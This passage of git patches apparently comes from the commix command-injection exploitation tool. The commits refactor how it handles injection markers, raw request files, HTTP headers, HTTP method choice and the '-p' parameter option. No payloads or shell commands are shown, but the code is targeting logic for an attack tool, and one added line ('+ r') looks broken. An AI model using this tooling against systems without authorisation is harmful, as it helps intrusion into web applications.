b/src/core/injections/controller/checks.py index c555163928..34ae3defc8 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1810,7 +1810,7 @@ def process_data(data_type, http_request_method): elif process in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(json_process) + common.invalid_option(process) pass """ diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 84ca9ad1af..c0e43583eb 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -76,6 +76,7 @@ def invalid_data(request): with open(request_file, 'r') as file: request = file.read() else: + r invalid_data(request_file) if menu.options.requestfile: @@ -86,10 +87,14 @@ def invalid_data(request): x = request_lines[c].find(':') header_name = request_lines[c][:x] header_value = request_lines[c][x + 1:] + if menu.options.header: + request_headers.append(menu.options.header) + elif menu.options.headers: + request_headers.extend(menu.options.headers.split("\\n")) request_headers.append(header_name + ": " + header_value) c += 1 c += 1 - menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else invalid_data(request_file)) + menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") settings.RAW_HTTP_HEADERS = '\\n'.join(request_headers) except IOError as err_msg: @@ -163,6 +168,7 @@ def invalid_data(request): # Extra headers menu.options.headers = extra_headers + # Target URL if not menu.options.host: invalid_data(request_file) diff --git a/src/core/main.py b/src/core/main.py index b1173f972c..d2470a5451 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -643,8 +643,7 @@ def main(filename, url): settings.DEFAULT_CODEC = menu.options.codec.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: - warn_msg = "Swithing '--header' to '--headers' " - warn_msg += "due to multiple extra HTTP headers." + warn_msg = "Due to multiple provided HTTP headers, swithing '--header' to '--headers'." print(settings.print_warning_msg(warn_msg)) if menu.options.method: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index d328e5d8b5..e862d8644d 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -396,7 +396,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME = http_header_name settings.CUSTOM_HEADER_VALUE = http_header_value # Add HTTP Header name / value to the HTTP request - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and settings.CUSTOM_HEADER_INJECTION == False: + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: request.add_header(http_header_name, http_header_value) except: pass diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index bceb92a274..605f3b0854 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -54,9 +54,9 @@ def multi_params_get_value(parameter): if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: checks.check_injection_level() - if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers: - return False - if menu.options.level == settings.COOKIE_INJECTION_LEVEL: + if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ + menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ + settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False else: err_msg = "No parameter(s) found for testing on the provided target URL. " @@ -265,6 +265,7 @@ def json_format(parameter): parameter = json.dumps(parameter) return parameter + process_body_data = True # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") checks.check_injection_level() @@ -274,19 +275,24 @@ def json_format(parameter): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: data_type = "JSON" - settings.IS_JSON = checks.process_data(data_type, http_request_method) + settings.IS_JSON = process_body_data = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: data_type = "XML/SOAP" - settings.IS_XML = checks.process_data(data_type, http_request_method) - settings.PARAMETER_DELIMITER = "" + settings.IS_XML = process_body_data = checks.process_data(data_type, http_request_method) + else: pass + + if process_body_data is not True: + return "" + parameters_list = [] # Split multiple parameters if settings.IS_XML: + settings.PARAMETER_DELIMITER = "" parameter = re.sub(r">\s*<", '>\n<', parameter).replace("\\n","\n") _ = [] parameters = re.findall(r'(.*)', parameter) diff --git a/src/utils/settings.py b/src/utils/settings.py index 76211bcb06..f192974dab 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ae2d70f46f3c58abfe0fd9e0369e889600716ca3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 3 Apr 2024 07:17:13 +0300 Subject: [PATCH 0414/1023] Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 26 +++++++++++------------- src/core/main.py | 8 ++++---- src/core/requests/parameters.py | 2 ++ src/utils/settings.py | 2 +- 5 files changed, 20 insertions(+), 19 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5f3b33d87c..ff109e9257 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`). * Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). * Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Improvement regarding parsing JSON nested objects. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 34ae3defc8..9bd845a261 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -100,12 +100,12 @@ def quoted_value(value): """ Check for custom injection marker (*) """ -def check_custom_injection_marker(url): +def check_custom_injection_marker(url, http_request_method): if url and settings.WILDCARD_CHAR in url: option = "'-u'" settings.WILDCARD_CHAR_APPLIED = True elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: - option = "POST body" + option = str(http_request_method) + " body" settings.WILDCARD_CHAR_APPLIED = True else: option = "option '--headers/--user-agent/--referer/--cookie'" @@ -132,22 +132,20 @@ def check_custom_injection_marker(url): menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL if settings.WILDCARD_CHAR_APPLIED: - if menu.options.test_parameter: - if not settings.MULTI_TARGETS or settings.STDIN_PARSING: - err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " - err_msg += "cannot be used simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit - while True: message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " message += "Do you want to process it? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - return + if menu.options.test_parameter: + if not settings.MULTI_TARGETS or settings.STDIN_PARSING: + err_msg = "The custom injection marker (" + settings.WILDCARD_CHAR + ") " + err_msg += "and the option '-p', cannot be used simultaneously." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + return True elif procced_option in settings.CHOICE_NO: - settings.WILDCARD_CHAR_APPLIED = None - return + return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: @@ -1131,8 +1129,8 @@ def wildcard_character(data): for data in data.split("\\n"): # Ignore the Accept HTTP Header if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : - data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) - settings.WILDCARD_CHAR_APPLIED = True + if settings.WILDCARD_CHAR_APPLIED: + data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: diff --git a/src/core/main.py b/src/core/main.py index d2470a5451..f9e8149202 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -286,7 +286,7 @@ def check_for_injected_url(url): """ The main function. """ -def main(filename, url): +def main(filename, url, http_request_method): try: if menu.options.alert: if menu.options.alert.startswith('-'): @@ -309,7 +309,7 @@ def main(filename, url): if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.WILDCARD_CHAR_APPLIED = False - checks.check_custom_injection_marker(url) + settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) # Check injection level, due to the provided testable parameters. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ @@ -863,7 +863,7 @@ def main(filename, url): response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) - main(filename, url) + main(filename, url, http_request_method) else: output_href = [] @@ -991,7 +991,7 @@ def main(filename, url): response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) - main(filename, url) + main(filename, url, http_request_method) except: pass else: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 605f3b0854..9e1feb1538 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -452,6 +452,8 @@ def vuln_POST_param(parameter, url): for item in parameters: if settings.INJECT_TAG in item: result = re.sub(re.compile('<.*?>'), '', item) + if not settings.WILDCARD_CHAR_APPLIED and settings.WILDCARD_CHAR in item: + item = item.replace(settings.WILDCARD_CHAR,"") _ = (re.search('<(.*)>' + result + '', item)) if (_.groups()[0]) == (_.groups()[1]): vuln_parameter = ''.join(_.groups()[0]) diff --git a/src/utils/settings.py b/src/utils/settings.py index f192974dab..551a83d5b4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From be30ea062cff4f8c64364dd4925f8ecb624a4bce Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 5 Apr 2024 08:05:31 +0300 Subject: [PATCH 0415/1023] Minor update --- src/core/injections/controller/controller.py | 14 ++++++-------- src/core/requests/parameters.py | 14 +++++--------- src/utils/settings.py | 2 +- 3 files changed, 12 insertions(+), 18 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 553be59a20..e5c70dd40d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -271,21 +271,19 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: basic_level_checks() - inject_http_headers = False - if menu.options.method: http_request_method = menu.options.method.upper() - elif check_parameter.lower() in url : - http_request_method = settings.HTTPMETHOD.GET - elif check_parameter.lower() in settings.USER_DEFINED_POST_DATA: + elif check_parameter.lower() in settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST + elif check_parameter.lower() in url: + http_request_method = settings.HTTPMETHOD.GET + inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): inject_http_headers = True - # User-Agent HTTP header / Referer HTTP header / - # Host HTTP header / Custom HTTP header Injection(s) + # User-Agent/Referer/Host/Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" the_type = "HTTP header" @@ -597,7 +595,7 @@ def post_request(url, http_request_method, filename, timesec): found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_XML or settings.IS_JSON: + if settings.IS_JSON or settings.IS_XML: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] else: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9e1feb1538..a7a9a1ab6a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -59,7 +59,7 @@ def multi_params_get_value(parameter): settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False else: - err_msg = "No parameter(s) found for testing on the provided target URL. " + err_msg = "No parameter(s) found for testing in the provided data. " if not menu.options.crawldepth: err_msg += "You are advised to rerun with '--crawl=2'." print(settings.print_critical_msg(err_msg)) @@ -265,7 +265,6 @@ def json_format(parameter): parameter = json.dumps(parameter) return parameter - process_body_data = True # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") checks.check_injection_level() @@ -275,20 +274,17 @@ def json_format(parameter): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: data_type = "JSON" - settings.IS_JSON = process_body_data = checks.process_data(data_type, http_request_method) + settings.IS_JSON = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: data_type = "XML/SOAP" - settings.IS_XML = process_body_data = checks.process_data(data_type, http_request_method) + settings.IS_XML = checks.process_data(data_type, http_request_method) - else: - pass - - if process_body_data is not True: + if settings.IGNORE_USER_DEFINED_POST_DATA: return "" - + parameters_list = [] # Split multiple parameters if settings.IS_XML: diff --git a/src/utils/settings.py b/src/utils/settings.py index 551a83d5b4..262dd7242b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 914d5645fa83339dba656e2acf06976fe1bf37d8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 8 Apr 2024 08:26:09 +0300 Subject: [PATCH 0416/1023] Minor update --- src/core/main.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index f9e8149202..9576fa1269 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -747,7 +747,10 @@ def main(filename, url, http_request_method): # Check if defined "--wizard" option. if menu.options.wizard: - if not menu.options.url and not settings.STDIN_PARSING: + message = "Enter full target URL (-u) > " + if menu.options.url: + print(settings.print_message(message + str(menu.options.url))) + elif not menu.options.url and not settings.STDIN_PARSING: while True: message = "Enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) diff --git a/src/utils/settings.py b/src/utils/settings.py index 262dd7242b..454ce6509a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From dae2834fe169aa2e3c525b8f6f41d227c3e87743 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 9 Apr 2024 07:27:10 +0300 Subject: [PATCH 0417/1023] Improvement regarding specifying which parameter(s) to test (i.e. `-p` option) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 60 +++++++------ src/core/injections/controller/controller.py | 92 ++++++++++---------- src/core/main.py | 24 ++--- src/core/requests/parameters.py | 15 +++- src/utils/settings.py | 5 +- 6 files changed, 110 insertions(+), 87 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ff109e9257..c116106fa5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). * Revised: Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`). * Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). * Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9bd845a261..83e2f21c44 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -104,6 +104,8 @@ def check_custom_injection_marker(url, http_request_method): if url and settings.WILDCARD_CHAR in url: option = "'-u'" settings.WILDCARD_CHAR_APPLIED = True + if menu.options.data: + settings.IGNORE_USER_DEFINED_POST_DATA = True elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: option = str(http_request_method) + " body" settings.WILDCARD_CHAR_APPLIED = True @@ -240,16 +242,15 @@ def alert(): Check for HTTP Method """ def check_http_method(url): - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD.upper() + if menu.options.method: + http_request_method = menu.options.method.upper() + elif any((settings.INJECT_TAG in url, settings.WILDCARD_CHAR in url)): + http_request_method = settings.HTTPMETHOD.GET else: - if not menu.options.data or \ - settings.WILDCARD_CHAR in url or \ - settings.INJECT_TAG in url or \ - [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]: - http_request_method = settings.HTTPMETHOD.GET - else: + if settings.USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST + else: + http_request_method = settings.HTTPMETHOD.GET return http_request_method """ @@ -1144,6 +1145,7 @@ def wildcard_character(data): Check provided parameters for tests """ def check_provided_parameters(): + if menu.options.test_parameter or menu.options.skip_parameter: if menu.options.test_parameter != None : if menu.options.test_parameter.startswith("="): @@ -1165,24 +1167,32 @@ def check_provided_parameters(): def check_skipped_params(check_parameters, http_request_method): settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER] for parameter in check_parameters: - if parameter in ",".join(settings.TEST_PARAMETER).split(","): + if parameter in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX): info_msg = "Skipping " + http_request_method + " parameter '" + parameter + "'." print(settings.print_info_msg(info_msg)) - settings.TEST_PARAMETER = [x for x in check_parameters if x not in ",".join(settings.TEST_PARAMETER).split(",")] - settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER) + settings.TEST_PARAMETER = [x for x in check_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX)] + settings.TEST_PARAMETER = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER) menu.options.test_parameter = True """ Print the non-listed parameters. """ -def print_non_listed_params(check_parameters, http_request_method, header_name): +def testable_parameters(check_parameters, http_request_method, header_name): + _ = False + if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: + _ = True + if settings.TEST_PARAMETER: - testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") - testable_parameters = testable_parameters.split(",") + testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") + testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX) non_exist_param = list(set(testable_parameters) - set(check_parameters)) + if _ and settings.TESTABLE_PARAMETERS != False: + settings.TESTABLE_PARAMETERS = _ + else: + settings.TESTABLE_PARAMETERS = False if non_exist_param: - non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") - non_exist_param = non_exist_param.split(",") + non_exist_param = settings.PARAMETER_SPLITTING_REGEX.join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") + non_exist_param = non_exist_param.split(settings.PARAMETER_SPLITTING_REGEX) if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: if menu.options.cookie != None: @@ -1205,22 +1215,18 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): if http_header in non_exist_param: non_exist_param.remove(http_header) - if non_exist_param: - non_exist_param_items = ",".join(non_exist_param) - warn_msg = "Skipping tests for " - warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" - warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1] + if non_exist_param and _: + non_exist_param_items = ", ".join(non_exist_param) + warn_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" + warn_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1] + warn_msg += " not inside the " if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": - warn_msg += " not part of the " - warn_msg += settings.HTTP_HEADER + warn_msg += settings.HTTP_HEADER.capitalize() else: - warn_msg += " not part of the " warn_msg += http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET] warn_msg += "." print(settings.print_warning_msg(warn_msg)) - + if menu.options.skip_parameter != None: check_skipped_params(check_parameters, http_request_method) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e5c70dd40d..0e8c42a88d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -102,8 +102,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ - menu.options.data and settings.INJECT_TAG in menu.options.data: + elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: @@ -163,8 +162,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ - menu.options.data and settings.INJECT_TAG in menu.options.data: + elif settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: @@ -273,9 +271,9 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if menu.options.method: http_request_method = menu.options.method.upper() - elif check_parameter.lower() in settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: + elif check_parameter in settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST - elif check_parameter.lower() in url: + elif check_parameter in url: http_request_method = settings.HTTPMETHOD.GET inject_http_headers = False @@ -290,7 +288,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time check_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: - header_name = "Cookie" + header_name = settings.COOKIE else: header_name = "" the_type = " parameter" @@ -304,10 +302,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time checks.tamper_scripts(stored_tamper_scripts=False) settings.CHECKING_PARAMETER = "" - if not header_name == "Cookie" and not the_type == "HTTP header": + if not header_name == settings.COOKIE and not the_type == "HTTP header": settings.CHECKING_PARAMETER = str(http_request_method) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] - if header_name == "Cookie" : + if header_name == settings.COOKIE : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(check_parameter) @@ -504,7 +502,7 @@ def cookie_injection(url, http_request_method, filename, timesec): check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) check_parameters.append(check_parameter) - checks.print_non_listed_params(check_parameters, http_request_method, header_name) + checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(cookie_parameters)): parameter = menu.options.cookie = cookie_parameters[i] @@ -517,7 +515,7 @@ def cookie_injection(url, http_request_method, filename, timesec): if menu.options.test_parameter != None: param_counter = 0 for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): + if settings.TEST_PARAMETER.count(check_parameter) != 0: menu.options.cookie = cookie_parameters[param_counter] check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) # Check for session file @@ -551,7 +549,8 @@ def get_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - checks.print_non_listed_params(check_parameters, http_request_method, header_name) + http_request_method = checks.check_http_method(url) + checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(found_url)): url = found_url[i] @@ -564,7 +563,7 @@ def get_request(url, http_request_method, filename, timesec): if menu.options.test_parameter != None: url_counter = 0 for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): + if settings.TEST_PARAMETER.count(check_parameter) != 0: url = found_url[url_counter] check_parameter = parameters.vuln_GET_param(url) # Check for session file @@ -588,13 +587,14 @@ def post_request(url, http_request_method, filename, timesec): parameter = menu.options.data found_parameter = parameters.do_POST_check(parameter, http_request_method) - + # Check if singe entry parameter if type(found_parameter) is str: found_parameter_list = [] found_parameter_list.append(found_parameter) found_parameter = found_parameter_list + if settings.IS_JSON or settings.IS_XML: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] @@ -610,7 +610,8 @@ def post_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - checks.print_non_listed_params(check_parameters, http_request_method, header_name) + http_request_method = checks.check_http_method(url) + checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(found_parameter)): #if settings.INJECT_TAG in found_parameter[i]: @@ -624,7 +625,7 @@ def post_request(url, http_request_method, filename, timesec): if menu.options.test_parameter != None: param_counter = 0 for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): + if settings.TEST_PARAMETER.count(check_parameter) != 0: menu.options.data = found_parameter[param_counter] check_parameter = parameters.vuln_POST_param(menu.options.data, url) # Check for session file @@ -766,36 +767,39 @@ def do_check(url, http_request_method, filename): # All injection techniques seems to be failed! if not settings.INJECTION_CHECKER: - err_msg = "All tested parameters " - if menu.options.level > settings.COOKIE_INJECTION_LEVEL: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " Try to increase value for '--level' option" - if menu.options.skip_empty: - err_msg += " and/or remove option '--skip-empty'" - err_msg += " if you wish to perform more tests." - if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: - err_msg += " Rerun without providing the option " - if not settings.SKIP_TECHNIQUES : - err_msg += "'--technique'." - else: - err_msg += "'--skip-technique'." - err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" - if not menu.options.alter_shell : - err_msg += " use option '--alter-shell'" + if settings.TESTABLE_PARAMETERS: + err_msg = "All testable parameters you provided are not present within the given request data." else: - err_msg += " remove option '--alter-shell'" - if not menu.options.tamper: - err_msg += " and/or use option '--tamper'" - if not menu.options.random_agent: + err_msg = "All tested parameters " + if menu.options.level > settings.COOKIE_INJECTION_LEVEL: + err_msg += "and HTTP headers " + err_msg += "appear to be not injectable." + if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg += " Try to increase value for '--level' option" + if menu.options.skip_empty: + err_msg += " and/or remove option '--skip-empty'" + err_msg += " if you wish to perform more tests." + if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " Rerun without providing the option " + if not settings.SKIP_TECHNIQUES : + err_msg += "'--technique'." + else: + err_msg += "'--skip-technique'." + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" + if not menu.options.alter_shell : + err_msg += " use option '--alter-shell'" + else: + err_msg += " remove option '--alter-shell'" if not menu.options.tamper: - err_msg += " and/or" - err_msg += " switch '--random-agent'" - err_msg += "." - if settings.MULTI_TARGETS: - err_msg += " Skipping to the next target." - print(settings.print_error_msg(err_msg)) + err_msg += " and/or use option '--tamper'" + if not menu.options.random_agent: + if not menu.options.tamper: + err_msg += " and/or" + err_msg += " switch '--random-agent'" + err_msg += "." + if settings.MULTI_TARGETS: + err_msg += " Skipping to the next target." + print(settings.print_critical_msg(err_msg)) else: logs.print_logs_notification(filename, url) if not settings.MULTI_TARGETS: diff --git a/src/core/main.py b/src/core/main.py index 9576fa1269..ee9718aaeb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -169,18 +169,10 @@ def init_request(url, http_request_method): if menu.options.check_internet: check_internet(url) # Check if defined POST data - if menu.options.data: - settings.USER_DEFINED_POST_DATA = menu.options.data - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: - settings.PARAMETER_DELIMITER = menu.options.pdel - request = _urllib.request.Request(url, menu.options.data.encode(), method=http_request_method) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) else: - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in url: - settings.PARAMETER_DELIMITER = menu.options.pdel request = _urllib.request.Request(url, method=http_request_method) - # Check if defined any HTTP Proxy (--proxy option). headers.do_check(request) # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : @@ -858,7 +850,17 